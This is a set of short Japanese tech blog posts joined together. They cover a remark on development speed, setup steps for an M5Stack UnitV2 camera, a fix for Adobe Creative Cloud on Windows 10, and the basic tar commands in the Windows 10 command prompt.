Amazonのデプロイ単位は11.6秒であることはそれを物語っています。

スピード感は人により様々です。
なので(あなたの)と誇張しました。

(あなた)よりもスピード感が合わない仲間と開発をしている場合
そしてどうしてもそれが(あなたの)スピード感を奪っている...ないしは侵害されていると感じられる場合
(上手に回避できる場合は)無理に対応する必要はないと思います。ですが...

より(あなたに合った)スピード感の仲間を見つけましょう。

スピード感は人により様々です。
→このことを前提として把握していないと、知らず知らずのうちにあなたの素晴らしいスピード感は蝕まれていくのです。忘れないでください。
UnitV2で遊ぶ

SwitchScienceさんで購入した[UnitV2](https://www.switch-science.com/catalog/7160/) が届きました！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/c2f7fc6e-7cf8-b08a-ab88-9c99dcfeff0d.png)

とりあえず動作するところまでの手順です。
１．[ここ](https://docs.m5stack.com/en/quick_start/unitv2/jupyter_notebook)からドライバをダウンロード
２．UnitV2を**付属のUSBTypeCケーブルで**PCに接続
３．デバイスマネージャーを見るとUSB 10/100 LANというのが追加されているので、これを開きドライバの更新＞先ほどダウンロードしたドライバを選択
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/abf4bba5-c2fc-b2e0-33ad-e8d67b2c24a0.png)
４．ネットワークアダプタにSR9900が追加される
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/fd75c49c-cd4b-32c4-91c9-75995fee9111.png)
５．ブラウザから[unitv2.py/](http://unitv2.py/)に接続
６．遊ぶ！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/c8988bd2-ff9e-a113-a988-3d63caf4e0fd.png)
Adobe Creative Cloudが開かなくなった時の対処法（Windows 10）

##手順
1．コントロールパネル→プログラムのアンインストール
2．Adobe Creative Cloudを右クリック→アンインストールと変更→修復
3．これで修復作業がフリーズしたら、パソコンを再起動。そのまま最後まで進めば完了
（以下、パソコン再起動後の手順）
4．コントロールパネル→プログラムのアンインストール→アンインストール
5．[https://creativecloud.adobe.com/ja](https://creativecloud.adobe.com/ja)にアクセスしログイン→Creative Cloudタブを選択→ダウンロード
6．インストーラーがダウンロードされたら実行
7．完了


---
とりあえずこれでなんとかなった…
備忘録
【windows10】tarファイルをコマンドプロンプトで解凍できる

今までtarファイルをwindowsで扱おうとしたら
フリーのソフトをインストールしたりしなければならなかったのが
なんとwindows10からは普通のコマンドプロンプトからtarを扱えるようになっていました。

やり方は本当に簡単

# tarファイルを作成する
```
> tar -czvf ファイル名.tgz 対象ファイル
```

# tarファイルを解凍する
```
tar -xzvf 対象ファイル.tgz
```

# 参考記事
https://4thsight.xyz/4289

以上